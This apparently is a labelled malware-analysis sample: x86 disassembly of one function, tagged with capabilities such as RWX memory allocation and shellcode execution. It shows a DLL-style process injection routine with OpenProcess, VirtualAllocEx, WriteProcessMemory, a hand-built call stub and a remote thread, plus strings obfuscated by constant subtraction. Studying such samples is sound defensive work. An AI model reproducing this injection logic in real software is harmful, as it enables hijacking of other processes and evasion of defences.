Function at 0x4023c0
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4094f2
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov esi, ecx
mov edi, edx
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x130]
push ecx
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test esi, esi
je 0x402479
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x402497
mov ecx, 0x4db33771
lea eax, [ebp - 0x13c]
call fcn.00407610
mov dword [ebp - 4], ebx
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
push 0x40a340
push edx
call fcn.00401090
add esp, 0xc
push eax
call fcn.00401090
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004088e0
mov esp, ebp
pop ebp
ret
mov edi, str.KghnGeonbhWkU
sub edi, 0x4d4595b
lea esi, [ebp - 0x154]
call fcn.00407710
mov edi, str.NCUFLF
sub edi, 0x4a0c275b
lea esi, [ebp - 0x140]
mov dword [ebp - 0x158], eax
call fcn.00407690
mov ecx, dword [ebp - 0x158]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a], eax
lea eax, [ebp - 0x130]
mov cl, 0x6a
mov dword [ebp - 0x24], 0x6a006a
mov dword [ebp - 0x20], 0xfebabe68
mov word [ebp - 0x1c], 0xb8ca
mov word [ebp - 0x16], 0xd0ff
mov byte [ebp - 0x14], 0xc3
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402510
push 0x40
sub eax, esi
push 0x3000
inc eax
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x158], esi
test esi, esi
jne 0x402559
mov edi, 0x40a410
sub edi, 0x2dfff6b7
lea esi, [ebp - 0x154]
call fcn.00407750
mov dword [ebp - 4], 1
jmp 0x40244f
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402562
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0x130]
push eax
push esi
push ebx
call edi
test eax, eax
setne al
test al, al
jne 0x4025b3
mov edi, 0x3ec29a67
lea esi, [ebp - 0x140]
call fcn.00407790
push eax
push ecx
mov dword [ebp - 4], 2
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40a340
push ecx
jmp 0x40245d
push 0x40
push 0x3000
push 0x11
push 0
push ebx
mov dword [ebp - 0x1f], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x160], esi
test esi, esi
jne 0x4025f6
mov edi, 0x40a434
sub edi, 0x18e2aaa2
lea esi, [ebp - 0x154]
call fcn.004077d0
mov dword [ebp - 4], 3
jmp 0x40244f
push 0
push 0x11
lea eax, [ebp - 0x24]
push eax
push esi
push ebx
call edi
test eax, eax
setne al
test al, al
jne 0x402635
mov edi, 0x4c676773
lea esi, [ebp - 0x140]
call fcn.00407810
push eax
push ecx
mov dword [ebp - 4], 4
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40a340
push ecx
jmp 0x40245d
push ebx
mov ecx, esi
call fcn.00402270
add esp, 4
test eax, eax
jne 0x402666
mov edi, str._dry:nrl_
sub edi, 0x24ff582a
lea esi, [ebp - 0x154]
call fcn.004076d0
mov dword [ebp - 4], 5
jmp 0x40244f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x130]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402678
sub eax, esi
lea edi, [eax + 1]
lea eax, [edi + 0xa]
push eax
call fcn.0040889f
add esp, 4
push 0x1b
mov dword [ebp - 0x15c], eax
call fcn.0040889f
mov ecx, dword [ebp - 0x15c]
add esp, 4
push edi
push 0
push ecx
mov esi, eax
call sub.MSVCR100.dll_memset
mov edx, dword [ebp - 0x15c]
xor eax, eax
add esp, 0xc
mov dword [esi], eax
push eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [esi + 0xc], eax
mov byte [esi + 0x10], al
mov eax, dword [ebp - 0x158]
push edx
push eax
push ebx
call edi
push 0
push 0x11
push esi
mov esi, dword [ebp - 0x160]
push esi
push ebx
call edi
lea eax, [ebp - 0x130]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026f5
mov edx, dword [ebp - 0x158]
lea ecx, [ebp - 0x168]
push ecx
sub eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 1
inc eax
push eax
push edx
push ebx
call edi
lea eax, [ebp - 0x164]
push eax
push 1
push 0x11
push esi
push ebx
call edi
mov al, 1
jmp 0x40247b